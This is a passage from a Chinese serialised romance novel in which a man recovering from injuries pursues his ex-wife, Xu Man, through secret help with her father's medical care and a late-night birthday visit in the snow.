骆亦迟不喜欢这样聒噪的声势,此刻特别想独自安静的待会儿,眼见杜曼玲要来抱他的头,他赶紧坐起,双臂撑着往后退了退,抬手挡住凑过来的身躯,驱逐道:“爸,妈,我头疼,你们先出去吧,我想歇歇。” 骆彦怀叫上其他人往外走。 但杜曼玲刚到,准备了一肚子话,一句都还没说呢,一听这明显的逐客令,当场就有点难堪了。 “我才来,话都没说两句,你就赶我走?” 骆亦迟现在虚弱得很,没力气大声说话,只能放软声音道,“妈,不是赶你走,只是让你先去外面坐会儿,我调整下情绪,好点了你再进来。” 杜曼玲很委屈:“可是妈想看看你啊,快三个月没见了,一见到你就这副样子……” “我自找的,你快出去吧,我想静静。” “什么叫你自找的?” 杜曼玲期期艾艾的,听到这自暴自弃的话,再结合来之前听说的,顿时就明白了。 “又跟许满有关是不?我早打听清楚了,你就是在她家门口出的事儿,你看你从第一次出事,到现在又进医院,两次了,腿都折腾折了,还不打算放弃吗?她到底有什么好,你就非得在她身上执迷不悟?” 杜曼玲说着来了劲儿,猛一下坐到床边,接着说:“你现在对她回心转意,那是她的福气,她还不领情。从过去到现在,一直没完没了的闹,六七年了,脾性一点都没长进,还是那么别扭,那么不知好歹!” 骆亦迟刷的一下,变了脸色。 低沉的气压在病房里蔓延,杜曼玲浑然未觉,喋喋不休继续输出。 “你为了那么一个上不了台面的乡野丫头,三番两次朝我发脾气,你瞅瞅你现在,完全变了个人,为老不尊,为儿不孝,离群寡合,性情乖僻……” “妈这段日子也想过了,你这几年回回跟妈作对,都是因为她,妈不跟你计较。你受了这么大一场挫折,妈希望你早点醒悟过来,虽然亲朋好友跟咱家来往的少了,但还是有姑娘愿意……” “说够了没有?”骆亦迟蓦地开口,打断了杜曼玲。 杜曼玲的输出戛然而止,一愣,才反应过来,自己好像又说多说错了。 每次都这样,一提到许满,一提到让他放弃,跟别的姑娘见面,他就跟触了逆鳞一样,神情冷戾,六亲不认。 “我……我刚才说得入迷了……” 杜曼玲竟有些慌张。 是不是老了?这岌岌可危的母子关系,她这些年越来越经营不好。 她就这么一个儿子,不想母子关系继续恶化下去,想如果顺着骆亦迟的意思,会不会让他们之间的关系挽回一点? 于是她说:“我就是心疼你而已,这么多年,她根本不知道你怎么过来的,听说你一直等着她来看你,但她一次都没来。你俩好歹做过夫妻,她是装不知道还是根本不想来看你啊,要我说,不如让老张去把她请过来,实在不行我去请也行,请来让她看看你现在的样子,没准她心里还会……” 啪嚓—— 一个透明的玻璃杯从面前掷出,砸到杜曼玲身后的墙面上,落地,摔成百八十片。 迸溅的碎片从身后弹射过来,险险擦过杜曼玲眼角,砸到骆亦迟右腿的石膏,发出沉闷的撞击声响,然后翻滚,落在洁白的床单上。 杜曼玲被吓得一耸,脑子里的话霎时忘了个干干净净。 骆亦迟半坐着,目光凶狠:“你要是敢去找她……” 然后呢?会怎样? 对面是他的母亲,再痛恨,他还能怎样? 他被亲情血缘束缚着,当初不能将她告上法庭,如今,依旧不能拿她怎样。 但并非束手无策。 他不能拿杜曼玲怎么样,还不能拿自己怎样吗? 不知从哪里拿来一把水果刀,刀刃划上包裹的石膏,一下一下,骆亦迟面无表情的刮着右腿上的金属固定架。 金属摩擦的声音听起来令人牙酸。 “你要是敢去找她,这腿,这脑子,我就都不要了。” “我说了是我自找的,跟她没有任何关系,你是听不见吗?” “反正我离行尸走肉也不远了,现在傻了残了,又有什么区别?” “妈,你说是不?” 门再次被推开,骆彦怀听到东西碎裂声折回来,撞上骆亦迟冷冽的面容,不用猜,就知道这母子俩又冲突起来了,于是赶紧把杜曼玲拽走。 赵靖闻跟在后面,有眼色的拿起了扫帚,去打扫那一地的碎玻璃。 房间终于安静下来,骆亦迟眼皮半合,放松的倚在病床上,大口呼吸病房里的新鲜空气。 手习惯性摸向左胸口,忽然一惊。 掌心下的布料触感平滑,靠近心脏的那个口袋,空空如也,少了样东西。 东西呢? 骆亦迟慌忙坐直,掀开枕头被子四处寻找。 “赵靖闻,我胸前口袋里那颗树脂小球呢?你见过没?” 赵靖闻停下动作,看向到处搜寻的骆亦迟,“什么小球?” “你们送我回来时,没见到一颗透明小球?就在我口袋里放着,里面包了根头发。” 赵靖闻回想:“没见过。” 没见过吗?那去哪里了? 丢了? 骆亦迟的心瞬间下沉,没入不见底的深渊,找不到方向了。 第44章 第 44 章 骆亦迟的骆。 硕导遴选结果公示结束不久, 许满被要求去参加培训会议。 那天她本来计划早早去坐个好位子,结果临出发前, 樊华留她问了些话,等问话结束匆匆赶去多功能厅,培训会已经开始,她只得悄悄从后门进去,就近找了个位置坐下。 培训内容千篇一律的枯燥,跑不开导师责任、工作成果、师德师风这些天天挂在嘴边的话题, 许满听得昏昏欲睡,庆幸来晚了,借着后排视野远的优势,迷迷糊糊打起了盹儿。 刚眯着, 胳膊肘被人推了推,耳边响起一个刻意压低的男音, “许老师, 麻烦往里挪挪。” 许满眼睛睁开一条缝, 转头看见叫她的人是谁, 瞌睡顿时跑了大半。 “江老师?” 江淮挑挑眉, “快挪挪, 让我进去坐。” 许满想让他去前面, 结果抬眼一看, 打个盹儿的功夫, 附近几排都坐上了人。 许满只好“大度”的给江淮让出位子。 江淮挨着她坐下, 笑眯眯跟她攀谈, “许老师厉害啊,来学校还没一学期呢,就当硕导了, 恭喜恭喜!” 许满礼貌回应:“哪里哪里,江老师年纪轻轻,不也是个硕导?” “不能跟许老师比,我是去年才评上,还是海外学历给加了分,这不去年没参加培训会,被揪出来了,今年来补嘛。” 许满敷衍:“哦,这样啊。” 江淮谈话欲特别旺盛,见许满跟他聊起来,就接着问:“许老师带研究生了吗?” 许满答:“马上就带了,院里有学生想转导师,正在接触呢。” “哟,几个?” “两个。” “哎……”江淮突然长长叹了口气。 “?”许满莫名其妙,“江老师有话说?” 江淮单手转着笔,琢磨道:“也没什么特别想说的,就是……想给你推荐个学生来着,但你第一次当导师就带俩学生,我再给你推荐一个,怕你压力大。” 推荐学生? 谁啊?江淮的学生?跨专业啊!那得打听打听。 许满来兴致了,认真问:“你说说呗,是已经考上了,还是准备考啊?好苗子的话我会收的!” 江淮故作高深的搓搓下巴,绞尽脑汁给这个学生做美化,“已经工作六七年了,在准备考呢。他最近吧……也不是最近,是很久以前,就对园林方面产生了浓厚兴趣,一直想跨专业考个研,好深入研究研究,但工作太忙了,没时间,再加上上了六七年的班,书本知识早生疏了,所以学起来比较吃力。不过没关系,他这人有毅力,肯学,对导师的话言听计从,让他往东决不往西,就是吧……年龄有点大了,跟你我差不多,你看你收吗?收的话我现在把他推给你,让他跟你聊聊,考不上也没关系,权当交朋友了!” 许满托着下巴尖思忖:“你推荐的这位学生,本科毕业?” “嗯!”江淮肯定的点点头。 “不会本科还跟我一个学校吧?” “呃……是的。” “他肯定是个男的,跟你关系还很不错!” “对!许老师感不感兴趣?” 许满没回答,但心里有底了,“他姓骆?” 江淮呵呵傻笑:“……哈哈哈哈哈哈,不愧是博士,真聪明。” 许满表情隐隐崩塌。 “现在我有一个问题。” “嗯嗯嗯,你说。” “这是你打的算盘,还是骆亦迟打的算盘?” “……” 许满脸一拉,白眼几乎翻到了天花板上,“你和骆亦迟怎么这么无耻?你好歹也是个大学老师,骆亦迟存了什么心思,你难道看不出来?我的职业生涯才刚开始,你俩就迫不及待毁了它?” “……” “上一个想跟我谈恋爱的学生,你知道他是什么下场吗?” 江淮不耻下问:“那个小奶狗吗?什么下场?你俩不会分手了吧?” 许满鼻子一哼,“关你屁事!” 看许满这反应,肯定是了! 江淮感觉自己猜到了正确答案,拿起手机噼里啪啦打字:“好消息啊!我要告诉骆亦迟。” 许满真恼了,一把夺过江淮手机,“你有完没完?” 江淮腆着脸赔笑:“有完有完,许老师别生气,我这不是看骆亦迟最近情况不太好,想给他打打气吗?” 许满气哄哄的抱臂,目视前方不接话。 江淮继续说:“他又转院了,我去看了他几次,腿上的石膏拆了,但是脑子一直没好,动不动就头疼,好像是神经方面有问题,骆叔叔专门给他找了个专家来看。” 许满斜眼看过来:“我有跟你打听他的情况吗?” “没有,但我觉得你想听。” 许满真要服了江淮的厚脸皮,“我不想听,你和他都少自作多情。” “好好好,不听不听,那我再问你最后一个问题,问完保准不再提他。” 不等许满开口,江淮说:“他跟我说,他丢了样东西,想问问你有没有捡到,如果捡到的话,能不能还给他?” 许满凶巴巴道:“没有!” “我都还没说是什么呢,你就急着否认,你是不是捡到了?” “没有!”许满气恼的摔了一下笔记本。 啪的一声,声音响亮清澈,周围的人都把头扭了过来。 幸好音响声大,前面的人听不见,不然丢人就丢大了。 江淮瘪瘪嘴,心想许满这脾气,阴晴不定,满是地雷,骆亦迟怎么受得了的。 “好好好,没捡到就算了,我就帮他问问而已,你这么凶干嘛呢……” 说完,还真不问了. 立冬过后,气温直线下降。 连城今年的冬天比以往冷,许满担心许晋文在康复医院没有御寒衣物穿,趁星期天回了趟流云湾,拿了厚衣服给他送去。 提前跟许晋文通过电话,许满提着大包小包来到康复医院,隔老远就看见许晋文病房门口探头探脑的站了一堆人,心里咯噔一下,心想不会许晋文出什么事了吧?忐忑的挤进病房,谁知连他病床边也围着不少人,顿时吓坏了。 什么情况? 许晋文真出事了? 害怕的情绪袭上心头,许满急慌忙挤到病床边一探究竟。 结果发现许晋文不仅人没事,还挺精神,正跟一个慈眉善目的中年男人说话呢。 看见那中年男人是谁,许满先是一愣,再是一惊,然后意外和激动齐齐涌出来,话都不会说了。 陈良骏怎么在这里?是医院请来的? 许满激动的心情都无以言表,跟人群站在一起,看他们交流。 陈良骏问过许晋文的基本情况,看过当前病历记录,又给他做了一些简单检查,康复医生全程陪在旁边,帮忙回答一些病理问题。 一直等检查完,围观人群渐渐散去,许晋文才注意到许满已经到了,眼睛一亮,开心道:“满儿,你,来啦。” “爸,这是怎么回事?”许满带来些水果和吃的,一边掏东西一边问。 许晋文也不知道:“正等你呢,就,来了。阵仗,好大。” 许满坐下来,给许晋文剥橘子。 陈良骏和康复医生交谈结束,许满放下橘子走上前来,又惊又喜的看着陈良骏,“陈医生,你怎么来这儿了?” 陈良骏对许满还有印象,当初许晋文病重的那几天,许满瘦弱憔悴得简直不成样子,现在许晋文好起来,她重新容光焕发神采奕奕,整个人都光彩明亮了。 “不明显吗?我来看看老病患。”陈良骏说。 “没想到你还记得我爸,特意来看他。”许满感激不尽。 “印象太深刻了,不记得不行啊。” 许满以为陈良骏说的是许晋文当时的病情,回忆道:“是啊,当时我以为我爸要不行了,幸好有陈医生你出手,我和我爸真的很感谢您。” 陈良骏客观道:“我不过履行医生职责,神经损伤有些是不可逆的,以你父亲的年龄和当时的病情来看,能恢复到现在这个程度,已经很不错了。” 说着微微一笑:“从某种方面来说,他何尝不是幸运的呢?” “是啊,遇到了您……”许满接话。 陈良骏却接着说:“碰到了骆先生。” “嗯?”许满微愣,不明所以望向陈良骏,“什么骆先生?” “当然是向我求医,把我带到你身边的骆先生。不然还有谁?” 许满认真看着陈良骏,企图从他脸上得到这句话的详细解释。 “他……哪个骆?” “还能是哪个骆?你前夫,你说是哪个骆?” 许满一怔,怎么可能? 陈良骏看她一无所知的模样,奇道:“怎么?他没跟你说?” 许满还是有点不太相信,抿唇,缓缓摇头,“他从没说过。” 陈良骏叹道:“真能忍啊,三年多了吧,三年前跟着我一道去看你爸爸的,当时他比你还着急,但真能忍,天天蹲医院里,没在你跟前露过一面,没想到三年过后还是没说。他也不是没长嘴啊,怎么不说呢?还是你对他有深仇大恨让他不敢说?嗐,既然他不说,那我就替他说吧,当初正是他求的我,我才特意来为你父亲诊治的。包括这次,也是他给了我地址,让我来看望你父亲。” 许满努力消化这堆话里的意思,信息量太大,一时接受不来。 脑子仿佛抽风了,在疯狂转动,三年前许晋文重病时,那段不忍回想的记忆被抽拉出来,不经她的允许,清晰的在她脑海里游来游去。 一些不曾在意的细节,渐渐有迹可循的串联了起来。 当时她独自将许晋文生病的事情扛下来,走投无路之时,才想起骆亦迟送给她的银行卡,刷完卡第二天,希望就来了。 主治医生通知她,说全国有名的神经科专家陈良骏突访,想让他给许晋文看看,许满便把许晋文交了出去。 结果不负所望,四五天后,许晋文转去了普通病房。 时间上是如此的巧。 她一直都没细想过那些细节,天真的以为是自己的祈祷被上天看见,于是上天将命中救星送到她面前,却原来,是有人在她看不见的地方默默帮她。 骆亦迟为什么不说呢? 重逢到现在,未曾提及过只言片语,是怕她不接受吗? “他……怎样了?”许满吞吞吐吐的问,“我是说他的脑伤,听他朋友说,他爸爸专门把你请过来给他看病。” 陈良骏的回答轻描淡写,“会有点头疼头晕之类的后遗症,不过他还年轻,底子好,多注意休息,以后会慢慢好的,时间问题而已。” “那就好……”许满若有所思的说。 陈良骏现在在连城出差,趁上午没事才带小助理来的,下午还得回去。 看时间差不多了,他向许满交代了一些注意事项,交代完,便和小助理要走。 许满来时买了水果,想送给陈良骏让他路上吃,陈良骏却不收。 人家不收,许满也没办法,只得两手空空将陈良骏送上返程的车。 回来时路过缴费窗口,想起来好像下个月的费用还没缴。 康复医院收费是预缴制,许满报上许晋文的名字,想看看账上还剩多少钱,结果一查,里面有十多万。 “这么多?弄错了吧?” 因为要收取床位费,许晋文的住院费用比一般人多,划掉医保报销部分,每天要自费两百左右。 八月底住进来,许满预存了三万,现在早该花的差不多了,怎么余额不减反倒多了? 工作人员核对了身份证号,说:“没错,这就是许晋文的账户。” “是医保报到账上了?” “医保在划账时会自动抵扣,不会打到病人账户上。” “那你帮我看看怎么钱多了?” 工作人员拉出账单,“上个月初有缴费记录,是不是你其他家人缴过了,没跟你说。” 其他家人? 谁会平白无故帮他们,还给他们送钱? 许满心里模模糊糊有了个答案,但不太想承认。 “还要缴费吗?”工作人员看她发愣,催道。 “哦哦,先不缴了。” 许满神思恍惚的回了病房。 老赵去做康复了,病房里只有许晋文在。 许满帮许晋文将过冬的衣服分类整理好收进柜子,弄完又是烧水,又是叠被子,又是打扫垃圾,不闲下来。 “满儿,怎么,了?” 许晋文发现了她的不对劲。 许满将垃圾扫进垃圾桶,心事重重的问:“爸,是不是还有其他人来看过你?” 许晋文:“有,我和老赵的,老友,还有,其他亲戚。” 顿了顿,许满又问:“除了他们,是不是还有骆亦迟?” 怕许晋文不记得,她轻声提醒:“暑假我们在家时,来买过我们东西的,我前夫。” 许晋文记性虽然变差了,但没忘记这个人,沉默了会儿,磕磕绊绊的说:“嗯,来过,赶走了。” 说完又理直气壮起来,“谁知道,他想,干什么?” “老赵,也认为,他不是人。” “结婚时,没来往,现在,好起来了,出现了。” “反正,两次都,赶走了。” “他来了两次吗?”许满低头望着地面,“哦,好,我知道了。” 许满背影很沉默,许晋文感觉她在想什么,不禁问:“怎么了?满儿?是不是,有心事?” 许满低声说:“没有,爸,我就是有点难受。” 她的声音平静,但内心却早已翻起波澜。 他不知道该怎么跟许晋文说,当初他的命,其实是骆亦迟一力帮他挽救回来的。 上个月初,骆亦迟还没出车祸。 在今天之前,每一次和他碰面,她都在拒绝他。 她从不知道骆亦迟背着他做了这些事。 她不明白,都拒绝他那么多次了,为什么他还不死心?为什么还要这样做? 是觉得做了这些,她就会心软,就会动摇?她会因为他的举动而感动,会因此原谅他? 他知不知道,他这样做,会让她更为难,更内疚,更难过。 他怎么还是那么的……一点都不考虑她的感受。 怎么办? 她真的不知道该用什么态度面对他了…… 第45章 第 45 章 生日不快乐。 最后一趟回连城的班车在下午五点。 许满看时间该走了, 许晋文欲语还休拉着她手,凹陷的眼眸里装着千言万语, 细看全是说不出口的舍不得。 许满也想多陪陪许晋文,但是没办法,学校里事情多,忙不过来,得尽早回去。 “爸,给我打电话, 我休息日多了就来看你。” 每次许满都这样说。 其实回想一下,许晋文年轻时带给许满的关爱很少,如今相依为命,许满对他不离不弃, 尽心尽责,做的已经够好了。 许满有自己的生活, 他不能要求许满把全部心思都放在他身上。 “满儿, 明天, 生日了, 买个蛋糕, 吃吃啊。”许晋文慢吞吞地说。 许满放松一笑, “我都忘了, 没想到爸你还记得。” “那可不!”许晋文傲娇起来。 许满拍拍他手:“好的, 爸, 回去我就买个生日蛋糕, 插上蜡烛给你打电话, 你给我唱生日快乐歌啊。” 许晋文更高傲了,“我才,不唱!” 离别思绪因为这段小插曲冲淡不少, 许满承诺给许晋文下次再来看他的时间,便真的走了。 从康复医院出来,天色变得阴沉。 视野所及全部灰蒙蒙,无风,透着刺骨寒意。 许满拢紧外套快步走,心想幸亏给许晋文送来了厚衣服,不然得挨冻了。 一路坐车转乘抵达连城,出了地铁,夜幕已彻底落下。 不知是天冷还是时间晚,小区附近行人不多。 许满在小区门口的饭馆里吃了晚饭,借着消食,晃晃悠悠往家走。 进了屋,换好衣服,短暂的休息了会儿,打开电视,借着电视的背景音,收拾离家前来不及打扫的卫生。 许满边听电视剧剧边忙活,不一会儿剧集播完,天气预报换了上来,声音清朗的主持人提醒广大居民,今夜有雪,注意保暖。 要下雪吗? 怪不得今天这么冷。 干活暂停,许满走到阳台边,拉开窗帘往外看。 漆黑夜幕下,万家灯火闪耀。 “没下雪啊……” 路面寂静干巴,主干道上昏黄路灯遥遥矗立,偶尔有外卖员骑着电瓶车疾驰送餐。 忽然,许满瞳孔蓦地一缩。 小区里几乎没什么人,视野正中的某个路灯下,一个黑色人影双手插兜笔直站立,看起来格外扎眼。 那是…… 许满蜷起手指,心跳不受控制加快。 他出院了? 这么冷的天,都十点多了,他不睡觉吗?来这里做什么? 22楼往下看,人影只是很小的一点,夜幕将那人的身形勾勒得虚实不清,除一个漆黑轮廓外,看不清一星半点的面前。 但许满知道他正面向她,像个雕塑一样,没做任何动作。 许满看了一会儿,对自己此时的行为感到费解,不明白是出于好奇,还是出于同情,亦或是想看看骆亦迟想干什么,总之她看了几分钟,还没看出个所以然,却见路灯下的骆亦迟抬起一只手放到耳边,似乎接了个电话,然后转身,步调僵硬的离开了。 骆亦迟走出小区,好一会儿没回来,许满合上窗帘,自说自话鄙视了自己一通,退回了客厅。 电视节目不知什么时候换成了晚间新闻。 许满打扫完,洗了个热水澡,在卫生间吹头发,隐隐听到叮咚叮咚的门铃声。 谁在大半夜敲她门? 关掉吹风机,许满竖起耳朵认真听,确定是她的门在响,狐疑的走了出去。 门打开一条缝,一个脸蛋红扑扑的小朋友从门缝探过头来,糯声糯气对她说:“姐姐你可算开门了,都过点一分钟了。” 许满怪道:“什么过点一分钟?” 小朋友较真的说:“我叫了你好一会儿,但是迟到了一分钟,应该没事吧?” 许满把门开大一点,歉声说:“抱歉我在吹头发,没听见你按门铃。” “我接受你的道歉了,没关系。”小朋友笑嘻嘻的。 一个七八岁的小孩,戴着一顶毛茸茸的毛线帽,双手捧着个四方礼盒,亮晶晶的眼睛正满怀期待望着她。 “姐姐,这是给你的。” 许满不可思议的指指自己:“给我的?” 礼盒被深红色缎带绑着,上面打了个大大的蝴蝶结,外围是透明的,里面端端正正摆放这一个六寸左右的蛋糕。 蛋糕上面没字,只有奶油造型的花朵装饰,中央是两朵向日葵,向日葵外围错落有致的点缀了几朵蓝星花和洋甘菊。 这不是在流云湾时,卖的鲜花花束的造型吗? 小朋将蛋糕送到许满面前。 “姐姐,生日快乐。” “嗯?你知道我生日?”许满惊喜的问。 小朋友摇摇头:“是大哥哥说的,大哥哥让我把蛋糕送给你,大哥哥还说,祝你生日快乐。” 许满接过蛋糕,心里琢磨这小朋友口中的大哥哥是谁,但看这蛋糕造型,答案已经不言而喻,还是象征性问小朋友:“哪个大哥哥?” 小朋友捂住嘴,“大哥哥不让说。” 说完,咻的一下跑没影儿了。 许满没想到他跑这么快,都来不及道声谢谢,笑眯眯的拿上蛋糕进了屋。 盒子拆开,许满调整角度想拍几张好看的照片,发给梁桓宇问问是不是他送来。 角度刚调好,手机这时叮咚一声,浮出来一条短信。 短视频平台压着零点过后的时间,第二个给她送来生日祝福——【您的铁粉给您发了生日祝福,请点击查看。】 噢,原来是粉丝发的。 打开落灰的短视频,消息列表里,用户A果然在刚刚给她发了一条消息。 【生日快乐。】 只是简单的四个字,后面配了一个生日快乐小表情。 小表情右下角有个播放键,点开,欢快的生日快乐歌通过手机扩音器唱了出来。 没想到隔着网线的陌生人还知道她的生日,许满被陌生人的关心暖了一把,脸上不由溢出笑容,回复:【谢谢。】 回复完接着拍摄。 叮咚叮咚——门铃又响了。 大半夜的找她的人还挺多,许满只得放下手机再次去开门。 还是那个小朋友。 小朋友这次举着一张深红色带晶闪的硬壳信封,眨巴眨巴大眼睛,无辜的说:“姐姐,对不起,我到了楼下才发现,把这个东西掉了,幸亏没被人捡走。” 许满收下信封,安慰小朋友,“没关系,别往心里去,谢谢你啊小朋友。” 小朋友大度摆摆手,“不用谢,你快让楼下那个大哥哥回家吧,外面雪下老大了!” “大哥哥在楼下?” 许满这才注意到小朋友的帽子,线织的帽顶上亮晶晶的,细看,全是雪水融化后的细小水珠。 小朋友又捂住嘴:“糟糕,说漏嘴了!姐姐你别说是我说的哦。” 说完又跑了。 许满望着小朋友背影,满腹疑惑关上门,去到阳台,想确认下楼下那个大哥哥是不是梁桓宇,于是拉开窗帘往外看。 视野里白茫茫一片,雪花从漆黑夜空中下絮絮而下,路灯下有个黑色人影,雕塑一般站得笔直。 小朋友从楼下跑了出来,跑到人影跟前,说了两句话,又往远处跑开了。 许满心骤然一缩,终于确认,送蛋糕的压根不是什么梁桓宇,而是去而复返的骆亦迟。 不知道什么时候他又回来了。 是专门为了给她送蛋糕? 许满迫不及待拆开红色信封再次确认,抽出里面的白色卡片,定睛一看,上面用钢笔干干净净写了六个字:满满,生日快乐。 没有署名,但那字迹许满再熟悉不过,正是骆亦迟的。 是的,是骆亦迟,不是梁桓宇,更不是别的谁。 许满一时不知该作何感想,捏着卡片,眼睛投向路灯下的人。 骆亦迟是想证明他果真记得,所以卡点给她送来生日蛋糕? 还拐弯抹角通过小朋友的嘴告诉她,是想让她看见他这幅样子好让她心疼? 他难道不知道,她就是个铁石心肠的女人,这点苦肉计压根就打动不了她! 许满不停腹诽,路灯下的男人却突然弯腰,扶上右腿膝盖,缓缓坐到了地上。 雪花飞扬,在22楼的大落地玻璃窗前舞出一道漂亮的花路,再缓缓飘落到未知的地方。 许满暗骂一声诡计多端的狗男人,抓起外套,下楼了。 积雪不深,只有薄薄一层,许满小心踩着雪,气哄哄向路灯下那个男人走近。 在许满从单元门里出来的那一刻,骆亦迟就注意到她了。 他吃力的从地上爬起来,目不转睛看她走过来,一步,两步…… 直到朝思暮想的脸距离自己仅一步之遥。 四目相对,两厢无言。 许满脸庞微昂,横眉怒目瞪着骆亦迟。 骆亦迟晃了晃身体,勉强站直。 雪花落在他的发顶,与积存的白色融为一体,光影从高处散下,撒在他挂着雪霜的眉睫上,虚虚实实,里面是一道轻浅却专注的目光。 沉默在寒凉的天地间蔓延,他迎着许满的目光,被她瞪着不敢动作。 不知这样过了多久,许满率先打破这份单方面的对峙,生气的开口:“骆亦迟,你是想把自己冻死,好讹上我吗?” 像死气沉沉的木雕突然被注入养料,有了生机,骆亦迟微微颔首,垂下眼睫,僵涩的说:“不是。” 雪花絮絮,一如他的声音:“生日快乐,许满。” 上天待他不薄,等了好多年,他终于有机会亲口说出这句话祝福,弥补自己亲手造成的遗憾。 许满:“不快乐!” 她压根不稀罕什么生日祝福! 他只要别让她内疚就好了,偏偏这点,骆亦迟做得差极了。 骆亦迟呆愣了两秒钟,才迟钝的“哦”道:“那我再去想其他方法给你过生日。” 他转身,带着肩上的积雪。 许是因为在雪地里待久了,右腿冷得没有知觉,刚迈出着地,就滋溜一疼——这条伤腿,支撑他在冰天雪地里站立两个小时已是极限。 骆亦迟的身体不由自主向旁歪倒。 许满下意识去扶,不经意触碰他的手背,顿时一惊。 那手背触感冰凉,跟冰块没有区别。 不想在许满面前露出虚弱的一面,骆亦迟撑着灯杆勉力站直,歉声说:“对不起,刚才腿有点疼,我缓缓,缓缓就走。” 五指紧扣灯杆,骆亦迟静等腿上的不适过去。 但这腿伤偏偏不如他意,缓了好久都不见好,明明在医院,用不了十分钟就会好的。 骆亦迟度秒如年,怕许满以为他是在拖延时间,低着头不敢看她。 许满的心到底是肉长的,见他这样,恻隐之心微动,“算了,别想什么办法了,你要是冻死在这里,我可付不起责任,去我那儿暖和暖和再走吧。” 骆亦迟愕然怔住。 许满说完就转身走,走了两步,没听见身后的人跟过来,驻足回头。 骆亦迟的反射弧似乎过长。 迎上许满催促的目光,他才眸光一颤,愣愣反应过来刚才听到了什么,“哦,哦……” 赶紧一瘸一瘸的跟上了。 第46章 第 46 章 偷来一个吻。 骆亦迟走得非常吃力, 右腿骨缝里像是长了无数根针,每走一步, 都要钻出来狠狠扎他一下。 为了跟上许满,他不得不闷声忍下这份疼痛,咬牙亦步亦趋的跟着。 一直艰难走到2202房门前,许满要开门,转头对他说:“把雪拍在外面,我刚打扫了卫生。” 骆亦迟听话的迅速脱下外套, 沉默的把肩膀和头上的雪一一拍掉。 屋里很暖和,许满蹲在鞋柜前找可以给骆亦迟穿的鞋,找不到,只能翻出一双自己穿旧的给他。 “将就穿吧, 反正你一会儿就走了。” 骆亦迟麻利的把鞋脱在门口,冻得生疼的脚勉强挤进小了五六个码的女士拖鞋内, 大半个脚后跟都露在外面。 他知道自己这幅样子很滑稽, 但他不在乎。 能进入许满的私人领域, 他还有什么不知足的。 虽然这房子是他的, 虽然这是第二次进入这间房子, 但不一样, 这次是许满主动邀请他进来的。 能这样他已经很知足, 虽然仅仅是因为许满看他可怜, 施舍给他的。 房子里还保留着江淮喜欢的装修风格, 可能是因为租的, 除了各种台面上被人为添置了一些绿植插花外, 没做任何改变。 骆亦迟私心想在这里找到一些其他男人生活的痕迹,刚才许满打开鞋柜时他留意过了,那一双双摆放整齐的女士鞋子里, 没有一双是属于男士的。 前几天江淮兴冲冲告诉他,许满和那个小男生分手了,看来是真的。 “自己随便找地方坐吧,我这里没现成饭,你饿的话自己做,学会做饭了吗?不会的话,热水总会烧吧?橱柜上面第一个格子里有方便面。” “哦,好。” “那你自便吧,走时不用跟我说,记得把自己制造的垃圾一并带下楼,我先去休息了。” 许满似乎很放心他在这里,但他其实听得出来,那简短的话语里,都是对他的排斥和不在意。 许满进了卧室。 骆亦迟在门口拘谨的站了片刻,才慢慢放开,拖沓着脚步,尽量不制造出声音,走到沙发旁坐下。 手脚在室温作用下渐渐回暖,右腿感觉到暖意,终于没那么疼了。 茶几上摆放着他送来的蛋糕,拆开了,却没被食用,散发着淡淡的奶油香甜气息。 还有他写的卡片,和一小盆仙人掌。 仙人掌绿油油的,根部铺了一层雪白的鹅卵石,拨拨上面的刺,硬邦邦的,很扎手,跟许满这人似的,倔强坚硬。 等右腿差不多恢复正常,他去了厨房。 二十分钟之后,端出来两碗面,去敲许满的门。 许满还没睡,隔门遥遥回应:“我说了,你走时不用跟我说。” “我做了面,你吃点吧。” “我不饿。” “我给你送进来?” “我不想吃。” “吃点吧,天怪冷的。” 许满有点不高兴了,听不懂人话吗这是?一骨碌从床上爬起来,拉开门,脸色不愉的说:“我刷牙了,不想吃东西了。” 骆亦迟垂着眼,面色尴尬,手脚局促。 “今天你生日,我给你做了长寿面。”他的语气里带了几分讨好的意味。 许满暼到餐桌上摆着的两碗面,心想真不用这样。 “哪个寿星半夜两点吃长寿面?” 骆亦迟不知该怎么接话,底气尽失。 明天会发生什么还是未知,他只有眼下这一个机会,很难得,迫不及待想抓住,就顾不上时间不时间了。 “你不想吃吗?不想吃的话就算了,明早我再做,厨房里还剩了一些食材。” 绞尽脑汁,他只能想到这样了。 许满斜眼看他:“你还想待到明天早上?” “呃……” 挺拔的男人像小狗一样无辜的低下头,许满真要被他这副委屈样子打败了,抿抿唇,走出卧室,坐在了餐桌旁。 所谓的长寿面其实是挂面,面上铺着一个荷包蛋,旁边烫了两颗小青菜。 她的厨房里只有这些食材,那小青菜还是周五买来,没吃完剩下的,估计都焉了,能挑出来这些已经很不容易了。 见许满坐下,骆亦迟忧郁的面容才舒展一些,过来跟她坐到一起。 然后,把碗里的鸡蛋夹给许满。 许满眼疾手快,提前预判了骆亦迟的动作,抱碗移开好远。 “你不吃,干嘛浪费我一个鸡蛋?吃完打钱!”她凶狠的说。 骆亦迟只好把鸡蛋放回自己碗里。 面煮的程度刚好,许满意思意思挑了一筷子,就不吃了。 她不饿,吃那一口完全是因为,想尝尝骆亦迟的手艺如何。 还行,合格,但不惊艳,味道跟她做的有点像,大概是因为食材都是她厨房里的,调味料也就那么几味,所以做出来都差不多。 “什么时候学会做饭的?” 许满很好奇,毕竟离婚时,身份尊贵的骆太子还十指不沾阳春水,等着人给他端茶送碗呢。 “你离开后。”骆亦迟说。 糟糕的男人在爱人离开后才醒悟过来失去了什么宝贵的东西,可是已经晚了。 骆亦迟想许满时,除了借着头发思念她,生活也在不断向她靠近。 他会不自觉维持许满还在时的习惯,家里摆放一些鲜花,衣服都叠整齐不乱放,炒菜时少油少盐,酱油瓶倒了一定要扶起来。 他记得许满做过一次长寿面,那时他没带脑子就吃了,压根没往生日那方面想,等后知后觉反应过来,许满的生日已经过了好几天。 他想以后再补吧,反正在一起的时间多的是,到时候顺便问问许满喜欢什么,一并送给她。 可是没想到,婚姻第二年才开了个头,许满就不要他了。 一定是他太差劲,差劲到一天都无法忍受,所以许满离开时,才坚定的头都不回一回。 离后第一年,骆亦迟记住了那个日子。 做饭其实并不难,每到那一天,他就做一碗面,捏着树脂小球,对许满说一声生日快乐,然后大口大口把面吃完。 遗憾的是,味道总是跟许满做出来的不像,不知道少了哪样东西,明明食材都是一样的。 骆亦迟只能想,肯定是自己功夫还没下够,没准功夫到了,做得就像了。 骆亦迟将面吃完,汤都喝干净,抬眼看许满那里,碗里的东西几乎没少。 他的心又被提起来,忐忑的问:“不好吃吗?” 许满不做评价,就说:“不饿,饿的话你帮我吃了吧。” 